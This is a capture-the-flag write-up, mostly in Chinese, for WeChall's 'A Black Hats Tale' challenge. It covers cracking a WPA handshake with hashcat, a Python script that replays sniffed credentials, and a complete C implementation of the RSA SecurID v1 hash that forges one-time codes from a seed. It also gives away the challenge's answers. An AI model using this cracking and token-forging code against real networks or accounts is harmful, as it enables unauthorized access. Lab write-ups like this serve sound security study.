WeChall - A Black Hats Tale

You woke up for another gray day, and noticed that your bank account is empty as it is for months. You need some quick easy money, so you join some "darknet" irc channels in order to speak with people, who are able to give you some "not fully legal" job. Your new boss wants you to hack into a small bank infrastructure, and transfer money from one account to another. Easy job, huh?

You drive with your van to the bank's main office, and setup your favourite wireless sniffing tool. Wow, it looks like they are using some WPA network. Let's sniff some data, and try to crack the WPA password with some dictionary attack.

Bug report: some older versions of aircrack-ng are unable to crack the password, be sure to use the latest (rc1 is known to be working).

Part 1: WPA 字典破解

挑战给出一个 pcap 文件 wpa_psk.cap,要求用字典攻击破解 WPA 密码。

用 hcxpcapngtool 将 pcap 转换为 hashcat 22000 格式:

1
2
3
4
curl -s -b 'WC=<cookie>' -o /tmp/wpa_psk.cap \
'https://www.wechall.net/en/challenge/Z/blackhattale/wpa_psk.cap'

hcxpcapngtool -o /tmp/wpa.22000 /tmp/wpa_psk.cap

hcxpcapngtool 输出确认了握手包信息:

1
2
3
ESSID (total unique).....................: 1
EAPOL pairs (best).......................: 1
EAPOL pairs written to 22000 hash file...: 1 (RC checked)

SSID 是 Z,使用 WPA2。

hashcat 字典攻击

1
2
3
hashcat -m 22000 /tmp/wpa.22000 \
~/ctf/ctf-tool/dict/SecLists/Passwords/WiFi-WPA/probable-v2-wpa-top4800.txt \
--force
1
2
3
Status...........: Cracked
Recovered........: 1/1 (100.00%) Digests (total)
Speed.#01........: 180.0 kH/s

查看结果:

1
2
3
4
hashcat -m 22000 /tmp/wpa.22000 \
~/ctf/ctf-tool/dict/SecLists/Passwords/WiFi-WPA/probable-v2-wpa-top4800.txt \
--show
# 72998caa4b4ea50a2b4daf31ba263708:00112fde233f:001302e3183a:Z:jennifer

WPA 密码是 jennifer。提交到 index.php?key=jennifer&submit=submit 进入下一阶段。

Part 2: ARP 嗅探与 InsecurID 重放

提交 WPA 密码后重定向到 login.php。页面描述了一个 ARP 缓存中毒场景:管理员使用 "PSA InsecurID" 通过明文 HTTP 认证。

嗅探凭据

页面有一个 "sniff some authentication data" 链接(login.php?action=request)。访问后返回一个完整 HTML 页面,其中嵌入了 username=admin3&password=123456 格式的凭据。凭据每次请求都会变化,且有 3 秒时效。

重放攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import urllib.request, re

cookie = 'WC=<your_cookie>'
base = 'https://www.wechall.net/en/challenge/Z/blackhattale/login.php'

# 嗅探
req = urllib.request.Request(f'{base}?action=request', headers={'Cookie': cookie})
resp = urllib.request.urlopen(req).read().decode()
creds = re.search(r'username=(\w+)&password=(\d+)', resp)
username, password = creds.group(1), creds.group(2)

# 重放(在同一个连接中,耗时 < 1 秒)
url = f'{base}?action=login&username={username}&password={password}'
req2 = urllib.request.Request(url, headers={'Cookie': cookie})
urllib.request.urlopen(req2).read()

重放成功后即可访问 upload_asc.php,显示:

1
2
3
4
5
6
7
Good job. Now you have successfully uploaded the new token data
for the victims bank account. The base filename is the serial number
for the token, and the seed (secret) is d4e3f9eb36c9ebf3.
Please note it is an older format of PSA InsecurID, the newer ones
are using digitally signed XML files and longer seeds.
After you have uploaded the new token data, you have to generate
a valid one time password for that token for 27. of July, 2012 14:24 GMT+1

Part 3: RSA SecurID v1 OTP 计算

这是整个挑战最难的部分。需要根据 seed 和指定时间计算 RSA SecurID 一次性密码。

"PSA InsecurID" 是什么

论坛帖子(Z 本人)提示:"PSA InSecurID is really, really clear. Just change/remove a few letters and it's obvious."

PSA InSecurID → 改 P 为 R、去掉 In → RSA SecurID

这是一个 RSA SecurID v1(64-bit seed)token。v1 使用自定义的 ASHF(Alleged SecurID Hash Function),不是后来 v2/v3 的 AES-128。

ASHF 算法

ASHF 由 I.C. Wiener 在 2000 年通过逆向工程 ACE/Server 代码发布(Bugtraq 2000-12-21)。学术论文(Biryukov et al. 2003, Contini & Yin 2004)确认了其正确性。

算法结构:

  1. 时间扩展:将 24-bit 时间值扩展为 64-bit "明文",格式 T0T1T2T2T0T1T2T2
  2. 初始 key-dependent 置换
  3. 4 轮 block cipher(每轮 64 个子步骤)
  4. 每轮结束后 key ^= output
  5. 最终 key-dependent 置换
  6. BCD 转换

时间值计算:

1
2
t = (unix_timestamp / 60 - 0x806880) * 2;  // minutes since 1986-01-01, ×2
t &= -4; // 60-second interval masking

0x806880 = 8415360 = 1970-01-01 到 1986-01-01 的分钟数。

bswap64 在 64 位系统上的潜在问题

I.C. Wiener 的原始代码:

1
2
3
4
static __forceinline unsigned __int64 bswap64(const unsigned __int64 x) {
unsigned long a = (unsigned long) x, b = (unsigned long) (x >> 32);
return (((unsigned __int64) bswap32(a)) << 32) | bswap32(b);
}

在 64 位 Linux 上,unsigned long 是 8 字节而不是 4 字节。理论上 (unsigned long) x 不会截断到 32 位。但实际上 bswap32 宏内部使用 0x00ff00ff 掩码(32 位),高位会被隐式截断。实测中原始实现与 __builtin_bswap64 产生相同结果。建议使用编译器内置函数以确保可移植性:

1
2
static inline uint32_t bswap32(uint32_t x) { return __builtin_bswap32(x); }
static inline uint64_t bswap64(uint64_t x) { return __builtin_bswap64(x); }

完整 ASHF 实现

以下是基于 I.C. Wiener 源码的完整 C 实现,修复了 64 位兼容性问题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <time.h>

typedef union _OCTET {
uint64_t Q[1];
uint32_t D[2];
uint16_t W[4];
uint8_t B[8];
} OCTET;

static inline uint32_t bswap32(uint32_t x) { return __builtin_bswap32(x); }
static inline uint64_t bswap64(uint64_t x) { return __builtin_bswap64(x); }
static inline uint64_t rol64(uint64_t x, int n) { return (x << (n & 63)) | (x >> ((-n) & 63)); }
static inline uint8_t ror8(uint8_t x, int n) { return (x >> (n & 7)) | (x << ((-n) & 7)); }

void securid_expand_key_to_4_bit_per_byte(const OCTET source, char *target) {
int i;
for (i = 0; i < 8; i++) {
target[i*2] = source.B[i] >> 4;
target[i*2+1] = source.B[i] & 0x0F;
}
}

void securid_expand_data_to_1_bit_per_byte(const OCTET source, char *target) {
int i, j, k;
for (i = 0, k = 0; i < 8; i++)
for (j = 7; j >= 0; j--)
target[k++] = (source.B[i] >> j) & 1;
}

void securid_reassemble_64_bit_from_64_byte(const unsigned char *source, OCTET *target) {
int i = 0, j, k = 0;
for (target->Q[0] = 0; i < 8; i++)
for (j = 7; j >= 0; j--)
target->B[i] |= source[k++] << j;
}

void securid_permute_data(OCTET *data, const OCTET key) {
unsigned char bit_data[128];
unsigned char hex_key[16];
uint32_t i, k, b, m, bit;
unsigned char j;
unsigned char *hkw, *permuted_bit;

memset(bit_data, 0, sizeof(bit_data));
securid_expand_data_to_1_bit_per_byte(*data, bit_data);
securid_expand_key_to_4_bit_per_byte(key, hex_key);

for (bit = 32, hkw = hex_key, m = 0; bit <= 32; hkw += 8, bit -= 32) {
permuted_bit = bit_data + 64 + bit;
for (k = 0, b = 28; k < 8; k++, b -= 4) {
for (j = hkw[k]; j; j--) {
bit_data[(bit + b + m + 4) & 0x3F] = bit_data[m];
m = (m + 1) & 0x3F;
}
for (i = 0; i < 4; i++)
permuted_bit[b + i] |= bit_data[(bit + b + m + i) & 0x3F];
}
}
securid_reassemble_64_bit_from_64_byte(bit_data + 64, data);
}

void securid_do_4_rounds(OCTET *data, OCTET *key) {
unsigned char round, i, j, t;
for (round = 0; round < 4; round++) {
for (i = 0; i < 8; i++) {
for (j = 0; j < 8; j++) {
if ((((key->B[i] >> (j ^ 7)) ^ (data->B[0] >> 7)) & 1) != 0) {
t = data->B[4];
data->B[4] = 100 - data->B[0];
data->B[0] = t;
} else {
data->B[0] = (uint8_t)(ror8((uint8_t)(ror8(data->B[0], 1) - 1), 1) - 1)
^ data->B[4];
}
data->Q[0] = bswap64(rol64(bswap64(data->Q[0]), 1));
}
}
key->Q[0] ^= data->Q[0];
}
}

void securid_convert_to_decimal(OCTET *data, const OCTET key) {
uint32_t i;
uint8_t c, hi, lo;
c = (key.B[7] & 0x0F) % 5;
for (i = 0; i < 8; i++) {
hi = data->B[i] >> 4;
lo = data->B[i] & 0x0F;
c = (c + (key.B[i] >> 4)) % 5;
if (hi > 9) data->B[i] = ((hi = (hi - (c + 1) * 2) % 10) << 4) | lo;
c = (c + (key.B[i] & 0x0F)) % 5;
if (lo > 9) data->B[i] = (lo = ((lo - (c + 1) * 2) % 10)) | (hi << 4);
}
}

void securid_hash_data(OCTET *data, OCTET key, unsigned char convert_to_decimal) {
securid_permute_data(data, key);
securid_do_4_rounds(data, &key);
securid_permute_data(data, key);
if (convert_to_decimal)
securid_convert_to_decimal(data, key);
}

void securid_hash_time(unsigned long time_val, OCTET *hash, OCTET key) {
hash->B[0] = (uint8_t)(time_val >> 16);
hash->B[1] = (uint8_t)(time_val >> 8);
hash->B[2] = (uint8_t)time_val;
hash->B[3] = (uint8_t)time_val;
hash->B[4] = (uint8_t)(time_val >> 16);
hash->B[5] = (uint8_t)(time_val >> 8);
hash->B[6] = (uint8_t)time_val;
hash->B[7] = (uint8_t)time_val;
securid_hash_data(hash, key, 1);
}

int otp_from_bytes(uint8_t b0, uint8_t b1, uint8_t b2) {
return (b0 >> 4) * 100000 + (b0 & 0xF) * 10000 +
(b1 >> 4) * 1000 + (b1 & 0xF) * 100 +
(b2 >> 4) * 10 + (b2 & 0xF);
}

int main(void) {
OCTET key, hash;
unsigned long t;
int code1, code2;

/* seed = d4e3f9eb36c9ebf3 */
key.B[0] = 0xd4; key.B[1] = 0xe3; key.B[2] = 0xf9; key.B[3] = 0xeb;
key.B[4] = 0x36; key.B[5] = 0xc9; key.B[6] = 0xeb; key.B[7] = 0xf3;

/* Unix timestamp for 2012-07-27 14:24 CEST (UTC+2) = 12:24 UTC */
struct tm tm_target = {0};
tm_target.tm_year = 2012 - 1900;
tm_target.tm_mon = 7 - 1;
tm_target.tm_mday = 27;
tm_target.tm_hour = 12;
tm_target.tm_min = 24;
time_t unix_ts = timegm(&tm_target);

t = (unix_ts / 60 - 0x806880) * 2;
t &= -4UL;

securid_hash_time(t, &hash, key);
code1 = otp_from_bytes(hash.B[0], hash.B[1], hash.B[2]);
code2 = otp_from_bytes(hash.B[3], hash.B[4], hash.B[5]);

printf("t = %lu\n", t);
printf("code1 = %06d\n", code1);
printf("code2 = %06d\n", code2);
return 0;
}

编译运行:

1
gcc -O2 -o securid securid.c && ./securid
1
2
3
t = 27949008
code1 = 474358
code2 = 440866

验证 ASHF 实现正确性

学术论文提供了一个 vanishing differential 测试向量:key = 356b48b3ae15c271,时间 0x1c3ba80x1c3aa8 应产生相同输出。

1
2
3
t=0x1C3BA8: 92868758689529220
t=0x1C3AA8: 92868758689529220
Vanishing diff: PASS

OTP 提取

ASHF 输出 8 字节。每个 hash 产生两个连续的 token code:

  • code1: BCD 提取 bytes 0-2(6 位数字)
  • code2: BCD 提取 bytes 3-5(6 位数字)

BCD 提取方式:

1
2
3
4
5
int otp_from_bytes(uint8_t b0, uint8_t b1, uint8_t b2) {
return (b0 >> 4) * 100000 + (b0 & 0xF) * 10000 +
(b1 >> 4) * 1000 + (b1 & 0xF) * 100 +
(b2 >> 4) * 10 + (b2 & 0xF);
}

计算结果

seed = d4e3f9eb36c9ebf3,目标时间 2012-07-27 14:24 CEST(UTC+2):

1
2
3
t = 27949008
code1 (bytes 0-2) = 474358
code2 (bytes 3-5) = 440866

Z 在论坛给出的参考值:

1
2
779286 - 14:23 CEST (code2)
440866 - 14:25 CEST (code2)

注意:Z 的参考值中 t 值与我们用 timegm 计算的有 ±2 的偏差,可能源于不同的时间计算方式。但 code2=440866 在 t=27949008 时精确匹配。挑战要求的 14:24 OTP 是 code1 = 474358

提交验证

通过 curl 提交 474358

1
2
3
curl -s -b 'WC=<cookie>' -L \
'https://www.wechall.net/en/challenge/Z/blackhattale/upload_asc.php' \
-d 'otp=474358&submit=submit'

服务端返回 Good 并通过 JS 重定向到 f1nal_st8g3.php

时区说明

挑战页面写 "14:24 GMT+1",但 Z 说 "I have created this challenge in CET/CEST timezone"。实际使用的是 CEST(UTC+2,夏令时),不是 CET(UTC+1)。用 CET 计算出的 OTP 全部错误。

交叉验证——用 CET(UTC+1)计算 14:24:

1
CET code1 = 938700(≠ 474358)

Part 4: Final Stage

提交正确 OTP 后服务端返回 Good 并通过 JS 重定向到 f1nal_st8g3.php。该页面显示 "Your answer is correct" 并确认挑战已解决。整个挑战不需要额外的前端交互——f1nal_st8g3.php 是最终确认页面。

工具链

  • WPA 握手提取: hcxpcapngtool 7.1.2(ZerBea/hcxtools)
  • WPA 字典破解: hashcat 7.1.2 + RTX 4070 Ti SUPER
  • 字典: SecLists probable-v2-wpa-top4800
  • HTTP 自动化: curl + Python urllib
  • ASHF 实现: C(gcc -O2)